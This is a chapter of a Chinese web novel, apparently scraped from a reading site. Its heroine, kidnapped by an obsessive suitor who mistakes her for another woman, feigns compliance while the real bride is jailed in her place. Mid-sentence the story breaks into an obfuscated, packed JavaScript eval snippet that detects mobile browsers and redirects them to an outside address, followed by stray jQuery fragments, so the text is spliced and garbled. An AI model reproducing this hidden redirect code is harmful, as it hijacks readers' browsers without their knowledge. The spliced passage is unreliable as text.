75. 偷梁换柱

作品:《假千金已送达,无法拒收!

    被绑架这么多回,会如此反复使用朴素手法——麻袋,叶星澜马上想到公主。只是她想破脑袋都不知道一个将死之人对公主到底还有什么利用价值。


    车轱辘声碾过石板的声音十分清晰,第无数次脑袋朝下的瞬间,嗅到的冷空气中隐约夹杂着一丝格外清新的气味,还听见扛着她的人开始呼哧呼哧喘着粗气。


    这次要绑她去更远的地方?城外?公主是在救她?


    看不见摸不着,想也想不明白,现在她这条命真是谁都可以随意拿捏。早晚都要死,死在谁手上似乎也没有那么重要了。罢了,早死早回去,死就死吧。


    破罐子破摔成了当下唯一缓解恐惧的办法,叶星澜这么想着,也不害怕了,反劝道:“你喘那么大气,实在不行就歇会儿吧,我跑不了。”


    锢住她腰的力道松了些,这人好像对她的提议心动了。可当她的脚尖刚结束腾空时,又一道陌生的声音响起:“少爷那脾气......赶紧的耽误了时间你我都没好下场。”


    话落,一双无所适从的绣花鞋再次悬在空中。


    少爷?不是公主?叶星澜又按捺不住设想他们口里的少爷也许就是南风阁那位常穿红衣,与许修远有几分相似的男子。当时她在南风阁的三日,也都是那位男子不厌其烦地劝她投诚。


    看来公主不仅把红衣男子当作代餐,更是值得信赖之人。


    回想在南风阁不多的时间,叶星澜知道那男子并非阴险狠毒之人,悬在嗓子眼的心脏变得平和。


    经过好长时间,身体终于找回自控感,即使视线依旧一片漆黑,但周遭的空气不再冷冽,手脚慢慢变得温暖,细碎的噼啪声似是炭火在燃烧。


    “还要蒙着她的眼睛吗?她逃不出去了。”


    “别多管闲事......”


    随着门闩落下,模糊的人声彻底消失。


    叶星澜尝试抬腿站起,可两条腿的膝盖紧紧靠在一起,想要动手给腿解绑,又发现手腕也被绑住,挣脱不得。


    幸好嘴巴没被堵住,她扯着嗓子,也不知对着哪个方向,大叫着:“大哥!大姐!有没有人给我松绑!”


    回应她的只有无边的安静。


    看来她周围是一个活物都没有。


    也不知道支着膝盖坐了多久,身体因为长时间处于温暖舒适的温度变得放松,困意渐渐袭来。


    就在她准备眯一会儿的时候,又听见不远处响起“吱呀”声,应是门被打开了,睡意顿时荡然无存,身体紧绷着面向朝自己而来的脚步。


    “为什么紧张害怕?明明是我把你救出来的。”


    声音自头顶传来,叶星澜觉得无比熟悉,直到视野忽地明亮时,面前模糊的五官几乎与脑海中联想到的重合在一起,待眼睛完全适应光亮时,她望着面前无比肆意的笑容,但眸光却令人生畏的人。


    “你为什么要救我?”她哆嗦着唇瓣,缩着肩膀躲男人越靠越近的身躯。


    “因为幼时你也救过我。”男人虽是笑着的,双手却用力握住她的双肩,将人往自己怀里靠。


    叶星澜的大脑疯狂运转着,终于明白男人对她的多番示好竟然是把她误认成晏微,奈何双手依然没有松绑,她只能用合拢的膝盖努力挡在两人中间,大声道:“许修远!你放开我!我不是晏微!”


    声音传遍这屋子里的每一个角落,可眼前一身红衣,面色略显疲惫的男人却像是没听见似的,握着她双肩的手掌再度收力,轻声道:“他不救你我救你!他不爱你我爱你!”


    “我说了我不是晏微!我不要你爱我!”


    “别说傻话了。往后我护着你,我们远离京城,没有人能找到你.......”


    “你绑错人了,我真不是晏微!”


    许修远沉浸在自己的美好幻想里,不管她说什么,他都当她是为了反抗而胡言乱语。


    为了能让眼前的人消停下来自己也好过些,叶星澜不得不在他的怀里呜咽一声,举起被粗绳磨得发红的手腕,眨巴着眼睛委屈道:“我的手好疼,先帮我解开好吗?”


    以为她这是认清现实后的归顺,许修远当即垂眸,对上她明亮的眼睛,他的眼底才浮现出一点真正的笑意。


    他帮她解开绑住手腕和膝盖的粗绳,动作很轻,时不时观察她的一举一动,待她真如掌上明珠似的。


    活动着发麻的手腕和脚踝,叶星澜细细观察自己所处的环境,紧闭的两扇门,没有窗,一张床榻,床榻上的被褥叠得工整,床前是一张矮书案,对面的铜镜清晰倒映出她落败凄惨的模样。陈设简单,没有居住痕迹。


    她摆出娇生惯养的大小姐脾气,在不大的屋子里走了几步,问许修远:“我住这里吗?太小了,什么都没有。”


    “委屈你了。三日后我们再动身出城,届时我再为你寻更好的住处。”


    动身出城?看来还在城内。叶星澜不敢让他瞧出自己想要逃跑的心思,假装被感动,反问他:“许公子将我私藏于此,真的不会被人发现么?我可是得了死刑诏书的。还有,许公子真的不介意我的婚姻?我有罪在身,你当真要和我这个罪人私奔,舍弃所有功名利禄,和我过苟且偷生的日子?”


    一连串的问题让许修远面色凝重,他快步上前握住她的双手,眉眼间的幸福和感动却是叶星澜从未见过的。


    许修远道:“若非早年圣上下旨,你所嫁之人从一开始就是我才对。自你幼时入宫,在御花园的池中将我救起时,我便下定决心此生非你不娶,我对你一见倾心,日日思念,天地可鉴。”


    叶星澜强忍住反驳的欲望,盯着他问:“那你为何从不去重岳寻我?你和岚风的婚事你也表现得非常积极,不见你有什么不愿?待我嫁进穆府后,你也从未向我坦白心意。”


    “我不受父亲重视,可一举一动皆被大哥手下的人监视着。我曾偷偷去过重岳,可重岳百姓都谈晏家小姐身薄体弱,鲜少出府走动。我未能见你一面,是我的不是。至于和穆岚风的婚事根本不是我的意思,陛下赐婚,父亲也想拉拢将军。自你到京城后,我曾多次设计见你,可你屡屡回避。”


    原来是痴情的阴湿男,叶星澜慢慢摸清他对晏微的爱意从何而起,可对晏微的容忍会到什么程度,尚且不清楚。


    她装作后知后觉的模样,怔怔地望着他,从他的手掌间抽出自己的手,转过身去笃定道:“许公子实在不必痴情于我,我已是死刑犯,又有‘妖女’之名,许公子难道真要舍弃一切,和我这不祥之人共患难么!我劝许公子回头是岸,我也该回去受死了。”


    “我不会让你死的!我等这一天等了十三年,若非这次他狠心弃你于不管不顾的境地,我这辈子怕是也没有与你相守的机会。”


    叶星澜双手捂着脸,呜呜咽咽地不肯看他,虽然假模假样,但心底多少还是被他对晏微的痴情触动。没想到许修远竟然愿意冒死救晏微,愿意舍弃荣华富贵,过隐姓埋名,躲躲藏藏的日子。


    难怪他先前总不经意向她展露不该有的好意,总亲密地叫她“嫂嫂”,其实也是觉得无缘当夫妻,若能在同一个屋檐下时常相见,对他来说也是一种另类的慰藉。


    人都是自私的,叶星澜对许修远过往的逾矩行为表示理解。但她不是晏微,受不了这份爱意,更没资格对这份爱意作出任何回应。


    叶星澜放下手,用力吸着鼻子,揉了揉眼睛,努力做出一副泪流满面后的疲倦神情。


    可许修远见她这模样,心疼不已,潜藏在心中许久的爱意也呼之欲出。他压着步子靠近,手指拭去她颊处的灰迹,隐隐翕动的双唇也越凑越近。


    叶星澜见状,忙退后半步。却被人握住手腕,再度与他四目相对。


    许修远微微俯视着她,视线中的占有欲将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069517|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的慌乱无措死死围剿住,嗓音低哑着:“你爱过他吗?让他碰过你吗?你们同房过吗?”


    温柔是他的一面,阴狠也是,叶星澜不知如何作答,迟迟不语。


    许修远兀自哼笑出轻蔑一声:“我不计较你的过去,你和他有过的一切我们会也会有,很快。”他抿着唇吻了吻她的眉心,接着松开手,往门外走去,“我不能多留,这两日我有空便会来,你若是有什么想要的告诉门外的人便是。”


    趁他转身,叶星澜拽着袖口死命搓了眉心几下,干脆演到底:“许公子,千万要小心。”


    他回头,刚刚的阴狠一扫而光,淡淡的笑容里是数不尽的柔情蜜意。


    等人走后,叶星澜觉得许修远这人心思深重,猜不透,无论如何都不是可依靠之人。


    且不说哪天他发现她不是晏微,他会如何气急败坏地处置她,他方才那副急不可耐的样子,估摸着下回再来就要把她“就地正法”。男女力量悬殊,她除非有武器,否则根本逃不掉。


    叶星澜满屋子翻找有没有东西趁手,能充当武器,可什么也没找到,只有两手灰。


    穆府外,一路尾随而来的侍卫见府里迟迟未有人出,心里犯嘀咕:将军难道不明白他们的意思,他们不过是睁一只眼闭一只眼,让夫人回府与他们商量对策。难道将军真要这时帮助夫人出逃,害他们这群好心人被扣上看管犯人不力的罪名,最后落得一个生不如死的下场?


    左等右等也不见人影,正要抬脚上门要人,忽地瞧见府外站了一位身着白裙的女子,与夫人的身段几乎没差。


    眼看天亮尚书就该来巡查了,侍卫没多想,当即上前抬手将人打晕,一把扛在肩上就往监牢的方向跑。把人扛回监牢,又好生放在床板上,这才转身关门缠好锁链。


    天色彻底亮了,另一位侍卫开门往牢内送饭,见躺在床板上的人终于有了动静,便喊道:“夫人,今日的早饭已放在桌上。”


    见躺在床上的女子摸着太阳穴不住摇头,侍卫担心是牢内过于阴冷,便自作主张抱来一床被褥,没承想,走近一瞧,躺在床上的女子并不是穆府的少夫人!


    侍卫忙丢下被子,跑到牢外拽住跟夫人回府的男子进到牢内,低声气道:“我难道还会拿这事开玩笑不成!你仔细瞧瞧,她分明不是少夫人!”


    “怎么可能,我亲眼——”


    那凑近的侍卫看清女子的面容,嘴边的话戛然而止。


    不凑巧,尚书大人已经来巡查了,两名侍卫交换了一个危急的眼神,立刻挺直腰板装作无事发生,走出牢房重新上锁。


    可尚书大人像是有天眼似的,只粗略瞥了眼牢内关着的人,便觉察出不对劲,执意要进去与夫人再聊几句案情。


    两名侍卫不住冒着冷汗,硬着头皮插钥匙开锁,心里只求尚书大人不要细瞧,躺在榻上的女子也不要清醒出声才好。


    晏微尚未完全清醒,听见脚步声靠近,费力地睁开眼皮发现一张完全陌生的脸出现在眼前,当即失声尖叫。


    “啊!你是谁!我为什么在这里!”


    尚书大人进牢内见人一动不动,也疑心是人睡着未清醒,可转念又想到穆随这人不会如此轻易放弃,便眯着眼睛走近了瞧。


    霎时间,也被尖利的嗓音吓得连连后退。


    尚书大人立刻喊道:“拿火把来!”


    见守在牢外的两人没有动作,尚书大人更知其中必有猫腻,于是大力甩着衣袖,从书案上拿了蜡烛凑近瑟瑟发抖的女子。


    “好啊!你们二人竟然勾结将军帮助犯人出逃,死罪难逃。来人,统统给我拿下!”尚书走出牢外大嚷着,一点不藏脸上的笑意。


    直到一群狱卒将牢房围了个水泄不通,终于不再头疼的晏微顿时清醒过来。


    她悔婚出逃,替嫁之事要公之于众了!她和晏府上下皆无生路!